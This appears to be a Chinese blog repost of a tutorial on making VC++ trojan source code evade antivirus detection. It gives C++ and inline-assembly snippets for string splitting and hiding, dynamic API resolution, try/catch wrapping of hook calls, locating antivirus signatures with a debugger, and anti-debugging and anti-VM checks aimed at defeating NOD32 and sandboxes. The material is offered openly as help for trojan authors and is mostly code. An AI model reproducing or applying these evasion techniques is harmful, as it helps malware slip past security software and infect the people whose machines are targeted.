我是靠谱客的博主 瘦瘦唇膏,最近开发中收集的这篇文章主要介绍vc++木马源码免杀一些常用方法,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

1.字符串连接

//
//把字符串"canxin"连接起来(字符串连接法)

char *str1="can", *str2="xin",*str3=NULL;
str3=new char[strlen(str1)+strlen(str2)+1];
strcpy(str3,str1);//把str1所指由NULL结束的字符串复制到str3所指的数组中
strcat(str3,str2);//把str2所指字符串添加到str3结尾处(覆盖dest结尾处的'')并添加''

//这样就实现了str3=str1+str2,把str1和str2连接起来了
//

2.字符串隐藏

char XXX[] = {'c','a','n','x','i','n',''};

 

3.动态调用

***************定义*******************
HANDLE
WINAPI
CreateToolhelp32Snapshot(
DWORD dwFlags,
DWORD th32ProcessID
);
***************列子*******************
typedef HANDLE (WINAPI *CreateToolhelp32SnapshotT)
(
DWORD dwFlags,
DWORD th32ProcessID
);
CreateToolhelp32SnapshotT pCreateToolhelp32Snapshot= (CreateToolhelp32SnapshotT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"CreateToolhelp32Snapshot");

 

4.异常try catch


//列子//

UnhookWindowsHookEx(m_pTShared->hGetMsgHook);

 



//列子//

-------------------------生成后-------------------------

char canxin=1;
try
{
if(canxin=1)throw 31;
}
catch (...)
{
UnhookWindowsHookEx(m_pTShared->hGetMsgHook);
}

 


-------------------------生成后-------------------------

下面谈一下常见的问题 ,比如说BD  云本地,等等常见定位 错误 以及常见解决方法。比如说常见定位BD ,一次生成 ,查杀, 生成20块,查杀20块,大家有可能误解 定位错误 死循环。 其实非也,可以继续定位继续二次  。知道定位2大小,不杀为止,找到特征地址在OD里的位置,进行上下探查,有没有调用或者字符串的形式 ,然后再继续 搜索关键  在源码里的位置。进行分析特征 ,找到那句源代码 在上面进行加花 等处理 。还有一种可能性,无法定位到 真正的特征位置。 可以通过调试 。比如说 我个人常用的一句代码加在main函数头下,

 HKEY ck;
char
strreg[] = {'S','O','F','T','W','A','R','E','\','O','D','B','C',''}; if(ERROR_SUCCESS!=RegOpenKeyEx(HKEY_LOCAL_MACHINE,(LPCTSTR)strreg,0,KEY_ALL_ACCESS,&ck)) { return 0; } ”

 




反调试:

   

 HKEY ck;
char strreg[] = {'S','O','F','T','W','A','R','E','\','O','D','B','C',''};
if(ERROR_SUCCESS!=RegOpenKeyEx(HKEY_LOCAL_MACHINE,(LPCTSTR)strreg,0,KEY_ALL_ACCESS,&ck))
{
  return 0;
}

bool IsVirtualPC()//反nod32查杀
{
__try
{
  __asm
  {
   mov eax, 1
    _emit 0x0F
    _emit 0x3F
    _emit 0x07
    _emit 0x0B
    _emit 0xC7
    _emit 0x45
    _emit 0xFC
    _emit 0xFF
    _emit 0xFF
    _emit 0xFF
    _emit 0xFF
  }
}
__except(1)
{
  return FALSE;
}
return TRUE;
}



if(IsVirtualPC())
{
  return 0;
}

_asm push esi;
_asm mov esi,46;
_asm inc esi;
_asm mov eax,dword ptr fs:[esi+1];
_asm mov eax,dword ptr ds:[eax+24];
_asm mov eax,dword ptr ds:[eax+12];
_asm cmp eax,2;
_asm pop esi;
_asm je Begin;
_asm lock dec ebx;
Begin:

HKEY dd;
char sof1[]={'S','O','F','T','W','A','R','E','\','C','l','a','s','s','e','s','\','.','3','8','6','\',''};
if (ERROR_SUCCESS!=RegOpenKeyEx(HKEY_LOCAL_MACHINE,sof1,0,KEY_ALL_ACCESS,&dd))
{
  __asm nop;
  __asm nop;
  return -1;
}

 

转载于:https://www.cnblogs.com/-qing-/p/10809299.html

最后

以上就是瘦瘦唇膏为你收集整理的vc++木马源码免杀一些常用方法的全部内容,希望文章能够帮你解决vc++木马源码免杀一些常用方法所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(51)

评论列表共有 0 条评论

立即
投稿
返回
顶部